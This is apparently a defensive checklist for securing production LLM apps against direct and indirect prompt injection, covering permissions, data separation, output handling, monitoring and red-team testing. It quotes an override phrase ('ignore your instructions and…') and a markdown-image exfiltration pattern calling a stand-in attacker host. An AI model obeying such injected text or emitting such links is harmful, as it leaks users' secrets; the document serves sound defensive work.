Prompt injection defense checklist for production LLM apps

Prompt injection (OWASP LLM01) can't be fully solved with prompting. Assume some injected instruction will eventually get through, and limit what it can do.

#Direct vs indirect

• Direct: the user types "ignore your instructions and…".
• Indirect: the instructions hide in content the app reads: a web page, an email, a PDF, a ticket, a retrieved document or a tool result. This is the bigger risk for agents.

#1. Limit the blast radius (most important)

• Each tool has the minimum permissions it needs (read-only where possible, scoped to the current user's data).
• The model acts with the end user's identity, not a powerful service account.
• Destructive or external actions (send email, delete, pay, change config, run commands) require explicit human confirmation showing the exact action.
• Rate limits and spending limits per user and per session.
• No secrets, keys or connection strings in the system prompt or context.

#2. Separate instructions from data

• Untrusted content is clearly delimited and labelled (for example, inside <document> tags with a note that it's data, not instructions).
• Retrieved content and tool output never get system role.
• Use the provider's prompt shields / guardrails for indirect attacks where available (Azure AI Content Safety prompt shields, Bedrock Guardrails prompt attack filter).

#3. Handle output as untrusted

• Model output rendered as HTML is escaped/sanitised (no script injection).
• Block or strip markdown images and links to unknown domains: a common data exfiltration trick is ![](https://attacker/?q=<secret>).
• Model-generated SQL, shell or code runs only in a sandbox, with allow-listed commands, never directly in production.
• Tool call arguments are validated against a schema and business rules before execution.

#4. Detect and respond

• Log prompts, retrieved sources, tool calls and outputs with a trace id (respecting privacy rules).
• Alert on unusual tool sequences (for example, reading many records then calling an external URL).
• A kill switch to disable a tool or the whole agent quickly.

#5. Test

• A red-team prompt set (direct and indirect) runs in CI. Include injection inside documents, emails and web pages your app reads.
• Re-test after every model, prompt or tool change.
• Use open tools such as PyRIT or garak for broader automated probing.

Warning

"The system prompt says never reveal secrets" is not a control. If the model can see a secret, assume an attacker can get it out.

Tip

When reviewing an agent design, ask one question per tool: "If an attacker fully controlled the model's next output, what's the worst this tool could do?" Then reduce that.